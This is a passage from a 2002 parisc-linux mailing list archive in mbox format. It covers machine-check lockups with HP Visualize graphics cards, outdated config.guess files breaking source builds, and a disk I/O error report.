> believe, a GSC vs. PCI card. In any case, trying to start X blanks the
> screen, then a few seconds later I get a High Priority Machine Check
> error as the workstation locks up. Any insights or workarounds most
> appreciated!

We are still trying to figure out what causes the HPMC
with PCI gfx cards. STI console works and that's it for now.

So far, I've figured out that xf1bppPolyGlyphBltBlack() is
the userspace routine that triggers the HPMC. Don't know
the code path how it got there or what happens before hand.

grant



From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC 0.9.3 + C200 + Visualize-EG = HPMC
Date: Wed, 27 Feb 2002 08:35:51 -0900 (AKST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0202270832430.27753-100000@goliath.alaskatech.org>
References: <Pine.LNX.4.44.0202271717330.15229-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621113 3960 80.91.229.3 (22 Nov 2014 01:51:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:53 +0000 (UTC)
Cc: <hplinux@eagle.grdl.noaa.gov>, <parisc-linux@parisc-linux.org>
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 27 10:44:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from goliath.alaskatech.org (cable-207-5-237-24.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 350F34854
	for <parisc-linux@parisc-linux.org>; Wed, 27 Feb 2002 10:44:14 -0700 (MST)
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.12.2/8.12.2) with ESMTP id g1RHZpFS027758;
	Wed, 27 Feb 2002 08:35:51 -0900
In-Reply-To: <Pine.LNX.4.44.0202271717330.15229-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14198

> > The graphics card on my C200 is a Visualize-EG (A4450A) which is, I
> > believe, a GSC vs. PCI card. In any case, trying to start X blanks the
> > screen, then a few seconds later I get a High Priority Machine Check
> > error as the workstation locks up. Any insights or workarounds most
> > appreciated!
>
> that's the problem!
> I have a C240 with the same graphics card. It is (still) unsupported.
> You have to wait until s.o. develops a working driver (or implement
> it by yourself)

I've been fighting the same HPMC on my C180; I used the same XF86Config-4
file that works perfectly on the 715/100 I just got rid of, same versions
of everythig, etc. Mine has the onboard video, but I didn't think to look
into what it actually is.

Is there a simple way to tell what kind of video is in these? I'm at work,
so I don't have the machine in front of me to play with, testing commands,
but does something simple like 'fbset -i' tell you what's in there? Or
perhaps the appropriate line in dmesg says 'Visualize EG' or something?




From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jack Perdue <j-perdue@tamu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] puffin group pr0n (OT - ignore)
Date: Wed, 27 Feb 2002 16:36:49 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020227162445.05810d10@clavin.cs.tamu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621114 3962 80.91.229.3 (22 Nov 2014 01:51:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 27 15:36:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tamu-relay.tamu.edu (smtp-relay-1.tamu.edu [128.194.103.90])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48C0E482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Feb 2002 15:36:54 -0700 (MST)
Original-Received: from bluepower.tamu.edu (dyna-0004.vpn.tamu.edu [172.16.32.4])
	by tamu-relay.tamu.edu (8.11.4/8.11.4) with ESMTP id g1RMapJ58633
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Feb 2002 16:36:51 -0600 (CST)
X-Sender: jkp2866@clavin.cs.tamu.edu
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14199

I was guessing at the [very old] redirect for the 
PuffinGroup->PA-RISC Linux URL and 
I tried puffingroup.com.  

Don't go there unless you want to look at naughty bits
(and even then you probably have to pay).

Them pr0n sites obviously think some PA-RISC Linux types might
be interested in their product or they have a non-northern sea
bird interpretation of the name.

jack
j-perdue@tamu.edu






From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] puffin group pr0n (OT - ignore)
Date: Wed, 27 Feb 2002 22:41:54 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20020227224154.A1430@parcelfarce.linux.theplanet.co.uk>
References: <5.1.0.14.0.20020227162445.05810d10@clavin.cs.tamu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621114 3966 80.91.229.3 (22 Nov 2014 01:51:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jack Perdue <j-perdue@tamu.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 27 15:42:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64EEE485C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Feb 2002 15:42:01 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16gClm-0006ZD-00; Wed, 27 Feb 2002 22:41:54 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <5.1.0.14.0.20020227162445.05810d10@clavin.cs.tamu.edu>; from j-perdue@tamu.edu on Wed, Feb 27, 2002 at 04:36:49PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14200

On Wed, Feb 27, 2002 at 04:36:49PM -0600, Jack Perdue wrote:
> I was guessing at the [very old] redirect for the 
> PuffinGroup->PA-RISC Linux URL and 
> I tried puffingroup.com.  
> 
> Don't go there unless you want to look at naughty bits
> (and even then you probably have to pay).

Indeed.  There's a sordid little story involved there which you can
probably drag out of me under the influence of sufficient alcohol.
The old site was at thepuffingroup.com, but payment on that domain ceased
a while ago.  Still, if you're sending mail here, I guess you can figure
out where the new website is :-)

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rainer Manns <manns@free-it.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux / oss database
Date: Thu, 28 Feb 2002 15:42:03 +0100
Lines: 3
Approved: news@gmane.org
Message-ID: <3C7E41BB.7A0FAD37@free-it.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621114 3969 80.91.229.3 (22 Nov 2014 01:51:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 28 07:42:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06709482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Feb 2002 07:42:22 -0700 (MST)
Original-Received: from fwd05.sul.t-online.de 
	by mailout05.sul.t-online.com with smtp 
	id 16gRlD-0008Gw-00; Thu, 28 Feb 2002 15:42:19 +0100
Original-Received: from free-it.org (0402295944-0001@[217.227.26.167]) by fmrl05.sul.t-online.com
	with esmtp id 16gRku-1xo7BwC; Thu, 28 Feb 2002 15:42:00 +0100
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.10-4GB i686)
X-Accept-Language: de, en
X-Sender: 0402295944-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14201

http://www.free-it.org/kontakte.php3?lang=en_US&faction=H



From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compiling source packages
Date: Thu, 28 Feb 2002 13:00:50 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <000d01c1c081$db6db9c0$02c1a8c0@james.co.uk>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621115 3973 80.91.229.3 (22 Nov 2014 01:51:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 28 11:00:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id A36E2482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Feb 2002 11:00:57 -0700 (MST)
Original-Received: from kenny ([68.58.113.28])
 by mtaout4.icomcast.net (iPlanet Messaging Server 5.1 (built May  7 2001))
 with SMTP id <0GS900C8H8PEAZ@mtaout4.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Thu, 28 Feb 2002 13:00:50 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14202

i've downloaded a few source packages & have hit the same problem with most
of them

bear with me, i'm not that up to speed on compilers etc.....

i follow the instructions to the letter & when i do the 'make' part, i get
the following....



checking host system type... Invalid configuration
'parisc-unknown-linux-gnu': machine 'parisc-unknown' not recognized

checking build system type... Invalid configuration
'parisc-unknown-linux-gnu': machine 'parisc-unknown' not recognized


and then further on...


loading cache ./config.cache within ltconfig
ltconfig: you must specify a host type if you use --no-verify'
Try 'ltconfig --help' for more information.
configure: error: libtool configure failed


from what i can see, it seems that the compile is failing because it doesnt
know about the machine type - is there any way i can fix this by making the
system type 'linux'  or something similar ?



Thanks

James S









From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling source packages
Date: Thu, 28 Feb 2002 13:13:36 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200202281813.g1SIDaSL009893@hiauly1.hia.nrc.ca>
References: <000d01c1c081$db6db9c0$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621115 3974 80.91.229.3 (22 Nov 2014 01:51:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: smithjames@comcast.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 28 11:13:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 152734839
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Feb 2002 11:13:40 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1SIDbFN009894;
	Thu, 28 Feb 2002 13:13:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1SIDaSL009893;
	Thu, 28 Feb 2002 13:13:36 -0500 (EST)
In-Reply-To: <000d01c1c081$db6db9c0$02c1a8c0@james.co.uk> from "James S" at Feb 28, 2002 01:00:50 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14203

> checking host system type... Invalid configuration
> 'parisc-unknown-linux-gnu': machine 'parisc-unknown' not recognized

Some source packages have old versions of the file config.guess which
can cause this type of problem.  When you configure, use "--host=hppa-linux".
More package recognize this.  If this doesn't work, you can replace
config.guess with a newer version (e.g., from gcc) and hope this works.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling source packages
Date: Thu, 28 Feb 2002 10:17:32 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20020228181732.GF11598@tausq.org>
References: <000d01c1c081$db6db9c0$02c1a8c0@james.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621115 3978 80.91.229.3 (22 Nov 2014 01:51:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James S <smithjames@comcast.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 28 11:17:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 017804836
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Feb 2002 11:17:58 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id zattlaaa for parisc-linux@lists.parisc-linux.org; Thu, 28 Feb 2002 11:17:30 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16gV7U-0006VV-00; Thu, 28 Feb 2002 10:17:32 -0800
Content-Disposition: inline
In-Reply-To: <000d01c1c081$db6db9c0$02c1a8c0@james.co.uk>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14204

In reference to a message from James S, dated Feb 28:
> i've downloaded a few source packages & have hit the same problem with most
> of them

this is a common problem, that the upstream sources have
config.{guess,sub} files that are outdated and do not recognize some of
the newer architectures. on a debian system, if you have, for example,
automake installed (apt-get install automake) you can copy newer
config.guess/sub files from /usr/share/automake/config.*

Alternatively, you can get the latest and greatest from
http://subversions.gnu.org/cgi-bin/viewcvs/config/config/

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling source packages
Date: Thu, 28 Feb 2002 13:33:16 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <002901c1c086$63574960$02c1a8c0@james.co.uk>
References: <200202281813.g1SIDaSL009893@hiauly1.hia.nrc.ca>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621116 3979 80.91.229.3 (22 Nov 2014 01:51:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 28 11:33:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id B25A54831
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Feb 2002 11:33:17 -0700 (MST)
Original-Received: from kenny ([68.58.113.28])
 by mtaout4.icomcast.net (iPlanet Messaging Server 5.1 (built May  7 2001))
 with SMTP id <0GS900CZ2A7GTV@mtaout4.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Thu, 28 Feb 2002 13:33:16 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14205

thanks - the source package did indeed have an old (2000) config.guess

i copied a newer one over it & its compiling away 


James S






From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] disk I/O error
Date: Fri, 1 Mar 2002 01:24:58 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <15486.51802.168431.29867@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621116 3983 80.91.229.3 (22 Nov 2014 01:51:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 28 17:29:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A5BB4840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Feb 2002 17:29:46 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id BAA02317
	for <parisc-linux@lists.parisc-linux.org>; Fri, 1 Mar 2002 01:24:59 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id g210Owe28301;
	Fri, 1 Mar 2002 01:24:58 +0100 (MET)
X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14206

ok, seems that the root fs is damaged after some locks and following
resets. For the reinstallation, which kernel should be used on a A500? 
I Tried 2.4.17-64-smp, 2.4.16-64-smp, 2.4.17-64 and
2.4.16-64. However, the machine locks up after three, maybe four days.
 
init-2.05a# ls -l /lib/libext2fs.so.2.4  
ls: /lib/libext2fs.so.2.4: Input/output error 
 
attempt to access beyond end of device 
08:06: rw=0, want=6803996040, limit=1999856 
attempt to access beyond end of device 
08:06: rw=0, want=7745165772, limit=1999856 
attempt to access beyond end of device 
/p/pari/libpari1-dev_2.1.3-1_hppa.deb 
Size: 1540332 




From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling source packages
Date: 28 Feb 2002 17:29:10 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <878z9dyvu1.fsf@rover.gag.com>
References: <000d01c1c081$db6db9c0$02c1a8c0@james.co.uk>
	<20020228181732.GF11598@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621116 3989 80.91.229.3 (22 Nov 2014 01:51:56 GMT)
